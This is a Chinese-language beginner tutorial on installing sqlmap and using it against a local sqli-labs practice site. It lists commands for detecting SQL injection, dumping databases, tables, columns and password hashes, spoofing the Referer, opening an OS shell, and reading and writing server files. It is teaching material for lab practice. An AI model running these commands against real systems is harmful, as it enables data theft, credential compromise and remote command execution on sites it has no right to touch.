学习web安全渗透之前,需了解一下刑法,做合法公民!!!
1. sqlmap安装
1.1 下载python2(不支持3)
1–下载
2–安装
3–配置环境变量
如果电脑里同时有python2和python3:
方法一:我们这里是要优先运行python2,所以在设置环境变量时,可以放在最上面,默认先打开
方法二:在命令行运行时,指定版本,防止冲突:
1.2 安装 sqlmap
1–去官网下载压缩包
2–将压缩包解压,复制到python27目录下,改名为sqlmap
3–将sqlmap配置到环境变量
4–测试是否安装成功
在命令行输入:sqlmap.py,出现这样表示安装成功
1.3 sqlmap 入门
1–先开启wamp服务(确保原本电脑中的MySQL服务没有开)
2–进入sql平台
3–点击这个
4–判断某个网址背后 是否存在注入
地址:http://127.0.0.1/sql/Less-1/?id=1
1.4 sqlmap 语法
1—判断是否存在注入:sqlmap.py -u url
例如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
下面就是检测出存在的注入,以及一些数据库版本都能检测出来
(运行过程中,出现Y/N,直接回车默认就可)
可以判断出:有哪些注入方式以及数据库
查询这些信息的目的是什么?
不同版本的软件,往往会有不同的bug,查询出对应版本,是可以去利用这些bug进行攻击与防御的。
2—判断是否存在注入2
如果判断注入的网址参数较多,可以使用 双引号 括起来
例如: sqlmap.py -u “http://127.0.0.1/sql/Less-1/?id=1”
3—查询当前用户下的所有数据库
例如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs
4—获取数据库中的表名:sqlmap.py -u url -D 数据库名称 --tables
5—获取表中的字段名:sqlmap.py -u url -D 数据库名称 -T 表名称 --columns
6—获取字段内容:sqlmap.py -u url -D 数据库名称 -T 表名称 -C 字段1,字段2,… --dump
7—获取数据库的所有用户:sqlmap.py -u url --users
8—获取数据库用户的密码:sqlmap.py -u url --passwords
9—获取当前网站数据库的名称:sqlmap.py -u url --current-db
10—获取当前网站数据库的用户名称:sqlmap.py -u url --current-user
1.5 sqlmap 进阶—参数讲解
(1)–level 5 探测等级(一共1-5,1为默认,5是最高)
例如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs --level 1
(2)–is-dba 当前用户是否为管理员权限
例如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --is-dba
(3)–roles 列出数据库管理员角色
例如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --roles
(4)–referer http referer头 用来 来源欺骗,增加信任
例如:用百度的身份去获取信息:
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs --referer https://www.baidu.com
(5)–sql-shell 运行自定义sql语句
只用用来查询当前数据库下的当前表的数据
(6)–os-cmd / --os-shell 运行任意操作系统数据
(7)–file-read 从数据库服务器中读取文件(可能不成功)
语法:sqlmap.py -u url --file-read "文件路径"
例如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-read “c:/test.txt”
(8)–file-write 本地上传目标绝对路径
–file-dest 目标服务器的绝对路径
语法:sqlmap.py -u url --file-write "本地文件路径" --file-dest "目标文件路径"
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-write “F:/test.txt” --file-dest “f:/hehe.txt”